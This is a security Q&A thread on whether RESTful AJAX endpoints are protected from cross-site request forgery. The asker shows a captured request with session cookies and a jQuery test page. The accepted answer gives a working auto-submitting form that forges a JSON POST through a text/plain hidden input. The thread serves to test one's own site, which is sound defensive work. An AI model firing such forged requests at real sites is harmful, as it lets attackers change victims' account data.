Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for Information security professionals. It's 100% free, no registration required.

I am having a debate with a coworker about whether our site is vulnerable to CSRF attacks. He is saying that since we are using RESTful AJAX requests for everything that CSRF is not possible. Say a request to update your account info looks something like this:

POST /ajax/account/savebasic HTTP/1.1
Host: www.mysite.com
Connection: keep-alive
Content-Length: 72
Accept: application/json, text/javascript, */*; q=0.01
Origin: https://www.mysite.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.65 Safari/537.36
Content-Type: application/json; charset=UTF-8
Referer: https://www.mysite.com/portal
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Cookie: X-Mapping-fjhppofk=B8BFE26CD0B3A37348ECC6FFE3940306; sdemail_5228=tester%40test.com; sd_5228=%7B%7D; connect.sid=s%3AAQIPx7hyddXEYTOuyP857jEG.D002GI6%2FSEF0m5WTBUxRmbjpE48%2BMkPxEe9o2T9DH1Y; __utma=160595647.1524201255.1358783236.1379476052.1379533347.150; __utmb=160595647.1.10.1379533347; __utmc=160595647; __utmz=160595647.1376327581.102.3.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=http://mysite.com/

{"fname":"abe","lname":"m","company":"comp","email":"abe@test.com"}

I created a test HTML page on testdomain.com like the one below:

<html>
<head>
    <title>Bad site</title>
    <script type="text/javascript" src="//ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"></script>
</head>
<body>
    <div id="main">Hey!</div>
    <script type="text/javascript">
$.ajax({
    type: "POST",
    url: "http://www.mysite.com/ajax/account/savebasic",
    data: { 
        "fname": "CSRF",
        "lname":"CSRF",
        "company":"CSRF",
        "email":"abe@test.com"
    },
    dataType: "jsonp"
 });
    </script>
</body>
</html>

Thinking that it would overwrite everything, but it redirects a few times and eventually throws a 404 error. Is my coworker correct in saying that we are safe from CSRF because we use AJAX/REST?

share|improve this question

2 Answers 2

up vote 6 down vote accepted

Same-origin policy don't allow to javascript or similar send requests outsite your host !

In computing, the same-origin policy is an important security concept for a number of browser-side programming languages, such as JavaScript. The policy permits scripts running on pages originating from the same site – a combination of scheme, hostname, and port number1 – to access each other's methods and properties with no specific restrictions, but prevents access to most methods and properties across pages on different sites.1 Same-origin policy also applies to XMLHttpRequest and to robots.txt.


Your application is Ajax but it can be vulnerable to CSRF (if you don't check content-type or adding unsafe Same-origin policies).

If you don't check content-type, attacker can send this request with normal form, like this :

<form name="x" action="http://site/index" enctype="text/plain" method="post">
  <input type="hidden" name='{"fname":"abe","lname":"m","company":"comp","email":"abe@test.com","Junk":"' value='Noting"}'>
</form>
<script>document.x.submit();</script>
share|improve this answer
    
There it is! Awesome thank you! One weird thing is that it's clearning out all of the values that should be updated. So instead of CSRF for all values I'm getting empty strings. Any idea why that would happen? I looked at the request payload and it looks correct... –  Abe Miessler Sep 18 '13 at 21:23
1  
@AbeMiessler : Please check: is your application sensetive to X-Requested-With or Content-Type or Referer header ? –  Sajjad Pourali Sep 18 '13 at 21:39
    
Hrrm, I'm not sure. How would I check that? –  Abe Miessler Sep 19 '13 at 14:46
1  
With using proxies and manipulating request data like Zed Attack Proxy (ZAP) , BurpSuite and ... . –  Sajjad Pourali Sep 21 '13 at 6:54

The simple answer is no, RESTful sites are not "inherently" safe against CSRF attacks. There is nothing about being RESTful that prevents CSRF because CSRF doesn't require REST to work. Think about session fixation, which can be one form of CSRF. If I can fix your session ID then I can begin executing requests as you, RESTful or not. Also, don't be confused either by the first part of CSRF and XSS (cross-site) because an attack does not need to occur from one primary domain to another in order to be CSRF or XSS. It is a bit of a misnomer that confuses people when trying to protect against these types of attacks. Just because you don't rely on the referer or you set a strict same domain origin policy doesn't mean you still aren't vulnerable to CSRF.

share|improve this answer

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.